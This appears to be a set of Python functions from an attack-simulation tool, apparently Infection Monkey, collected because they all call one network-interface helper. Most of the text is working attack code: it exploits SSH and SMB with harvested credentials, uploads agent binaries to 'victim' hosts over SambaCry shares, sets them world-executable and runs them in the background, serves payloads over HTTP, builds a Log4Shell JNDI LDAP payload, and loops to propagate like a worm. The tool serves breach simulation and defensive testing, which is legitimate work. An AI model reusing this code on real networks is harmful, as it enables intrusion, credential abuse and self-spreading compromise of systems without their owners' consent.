def upload_module(self, smb_client, share): """ Uploads the module and all relevant files to server :param smb_client: smb client object :param share: share name """ tree_id = smb_client.connectTree(share) with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read) monkey_bin_32_src_path = get_target_monkey_by_os(False, True) monkey_bin_64_src_path = get_target_monkey_by_os(False, False) with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read) with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) T1105Telem(ScanStatus.USED, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id)
def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system :param local_ip: IP where to host server :param local_port: Port at which to host monkey's download :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler """ # To avoid race conditions we pass a locked lock to http servers thread lock = Lock() lock.acquire() if not local_port: local_port = get_free_tcp_port() if not local_ip: local_ip = get_interface_to_target(host.ip_addr) if not firewall.listen_allowed(): LOG.error( "Firewall is not allowed to listen for incomming ports. Aborting" ) return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote( os.path.basename(src_path))), httpd
def set_tunnel_for_host(self, host): assert isinstance(host, VictimHost) if not self.local_port: return ip_match = get_interface_to_target(host.ip_addr) host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) TempHandler.T1105Telem(TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), dest[0], self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True return False
def _start_http_server(self): """ Starts custom http server that waits for GET requests :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) """ lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) httpd = self.IndicationHTTPServer(local_ip, local_port, lock) lock.acquire() httpd.start() lock.acquire() return httpd, lock
def __init__(self, host: VictimHost): super().__init__(host) self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) self._class_http_server_port = get_free_tcp_port() self._ldap_server = None self._exploit_class_http_server = None self._agent_http_server_thread = None self._open_ports = [ int(port[0]) for port in WebRCE.get_open_service_ports( self.host, self.HTTP, ["http"]) ]
def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: local_port = get_free_tcp_port() if not local_ip: local_ip = get_interface_to_target(host.ip_addr) if not firewall.listen_allowed(): return None, None httpd = HTTPServer(local_ip, local_port, src_path) httpd.daemon = True httpd.start() return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote( os.path.basename(src_path))), httpd
def download_pba_file(dst_dir, filename): """ Handles post breach action file download :param dst_dir: Destination directory :param filename: Filename :return: True if successful, false otherwise """ pba_file_contents = ControlClient.get_pba_file(filename) status = None if not pba_file_contents or not pba_file_contents.content: logger.error("Island didn't respond with post breach file.") status = ScanStatus.SCANNED if not status: status = ScanStatus.USED T1105Telem( status, WormConfiguration.current_server.split(":")[0], get_interface_to_target( WormConfiguration.current_server.split(":")[0]), filename, ).send() if status == ScanStatus.SCANNED: return False try: with open(os.path.join(dst_dir, filename), "wb") as written_PBA_file: written_PBA_file.write(pba_file_contents.content) return True except IOError as e: logger.error( "Can not upload post breach file to target machine: %s" % e) return False
def _exploit_host(self): port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): port = int(servkey.replace("tcp-", "")) is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: logger.info("SSH port is closed on %r, skipping", self.host) return False try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) except FailedExploitationError: logger.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get("type"): try: _, stdout, _ = ssh.exec_command("uname -o") uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" else: logger.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False if not self.host.os.get("machine"): try: _, stdout, _ = ssh.exec_command("uname -m") uname_machine = stdout.read().lower().strip().decode() if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: logger.debug( "Error running uname machine command on victim %r: (%s)", self.host, exc ) if self.skip_exist: _, stdout, stderr = ssh.exec_command( "head -c 1 %s" % self._config.dropper_target_path_linux ) stdout_res = stdout.read().strip() if stdout_res: # file exists logger.info( "Host %s was already infected under the current configuration, " "done" % self.host ) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: logger.info("Can't find suitable monkey executable for host %r", self.host) return False try: ftp = ssh.open_sftp() self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo( file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) ftp.chmod(self._config.dropper_target_path_linux, 0o777) status = ScanStatus.USED T1222Telem( ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host, ).send() ftp.close() except Exception as exc: logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED T1105Telem( status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path ).send() if status == ScanStatus.SCANNED: return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT ) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline, ) ssh.close() self.add_executed_cmd(cmdline) return True except Exception as exc: logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile( src_path), "Source file to copy (%s) is missing" % (src_path, ) config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None # skip guest users if smb.isGuestSession() > 0: LOG.debug( "Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", host, username, Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash)) try: smb.logoff() except: pass return None try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) except Exception as exc: LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) return None info = { 'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users'] } LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) except Exception as exc: LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] high_priority_shares = () low_priority_shares = () file_name = ntpath.split(dst_path)[-1] for i in range(len(resp)): share_name = resp[i]['shi2_netname'].strip("\0 ") share_path = resp[i]['shi2_path'].strip("\0 ") current_uses = resp[i]['shi2_current_uses'] max_uses = resp[i]['shi2_max_uses'] if current_uses >= max_uses: LOG.debug( "Skipping share '%s' on victim %r because max uses is exceeded", share_name, host) continue elif not share_path: LOG.debug( "Skipping share '%s' on victim %r because share path is invalid", share_name, host) continue share_info = {'share_name': share_name, 'share_path': share_path} if dst_path.lower().startswith(share_path.lower()): high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), ) low_priority_shares += ((ntpath.sep + file_name, share_info), ) shares = high_priority_shares + low_priority_shares file_uploaded = False for remote_path, share in shares: share_name = share['share_name'] share_path = share['share_path'] if not smb: smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None try: tid = smb.connectTree(share_name) except Exception as exc: LOG.debug( "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc) continue LOG.debug( "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", share_name, share_path, remote_path, host.ip_addr[0], ) remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) # check if file is found on destination if config.skip_exploit_if_file_exist: try: file_info = smb.listPath(share_name, remote_path) if file_info: if src_file_size == file_info[0].get_filesize(): LOG.debug( "Remote monkey file is same as source, skipping copy" ) return remote_full_path LOG.debug( "Remote monkey file is found but different, moving along with attack" ) except: pass # file isn't found on remote victim, moving on try: with monkeyfs.open(src_path, 'rb') as source_file: # make sure of the timeout smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True T1105Telem(ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path).send() LOG.info( "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) break except Exception as exc: LOG.debug( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) T1105Telem(ScanStatus.SCANNED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path).send() continue finally: try: smb.logoff() except: pass smb = None if not file_uploaded: LOG.debug( "Couldn't find a writable share for exploiting victim %r with " "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", host, username, Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash)) return None return remote_full_path
def run(self): self._broad_sock = _set_multicast_socket(self._timeout) self.l_ips = local_ips() self.local_port = get_free_tcp_port() if not self.local_port: return if not firewall.listen_allowed(localport=self.local_port): LOG.info( "Machine firewalled, listen not allowed, not running tunnel.") return proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port) LOG.info( "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", proxy.__class__.__name__, self.local_port, self._target_addr, self._target_port) proxy.start() while not self._stopped: try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if b'?' == search: ip_match = get_interface_to_target(address[0]) if ip_match: answer = '%s:%d' % (ip_match, self.local_port) LOG.debug( "Got tunnel request from %s, answering with %s", address[0], answer) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) elif b'+' == search: if not address[0] in self._clients: LOG.debug("Tunnel control: Added %s to watchlist", address[0]) self._clients.append(address[0]) elif b'-' == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [ client for client in self._clients if client != address[0] ] except socket.timeout: continue LOG.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients)) # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in QUIT_TIMEOUT seconds while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if b'-' == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [ client for client in self._clients if client != address[0] ] except socket.timeout: continue LOG.info("Closing tunnel") self._broad_sock.close() proxy.stop() proxy.join()
def start(self): try: LOG.info("Monkey is starting...") LOG.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() self.upgrade_to_64_if_needed() ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() self.shutdown_by_not_alive_config() if self.is_started_on_island(): ControlClient.report_start_on_island() ControlClient.should_monkey_run(self._opts.vulnerable_port) if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() LOG.debug("Starting the post-breach phase.") self.collect_system_info_if_configured() PostBreach().execute_all_configured() LOG.debug("Starting the propagation phase.") self.shutdown_by_max_depth_reached() for iteration_index in range(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._fingerprint = HostFinger.get_instances() self._exploiters = HostExploiter.get_classes() if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug( "Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() except PlannedShutdownException: LOG.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution." ) LOG.exception("Planned shutdown, reason:")
def _build_ldap_payload(self) -> str: interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
def propagate(self): for iteration_index in range(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._fingerprint = HostFinger.get_instances() self._exploiters = HostExploiter.get_classes() if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop, ) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: logger.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__, ) try: finger.get_host_fingerprint(machine) except BaseException as exc: logger.error( "Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, str(exc), ) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: logger.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: logger.debug("%r - exploitation failed before, trying again", machine) else: logger.debug("Skipping %r - exploitation failed before", machine) continue if self._monkey_tunnel: self._monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (":" + self._default_server_port if self._default_server_port else "") ) else: machine.set_default_server(self._default_server) logger.debug( "Default server for machine: %r set to %s" % (machine, machine.default_server) ) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value ) host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() if exploiter.RUNS_AGENT_ON_SUCCESS: break # if adding machine to exploited, won't try other exploits # on it if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations logger.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: logger.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: logger.info("Marked not alive from configuration")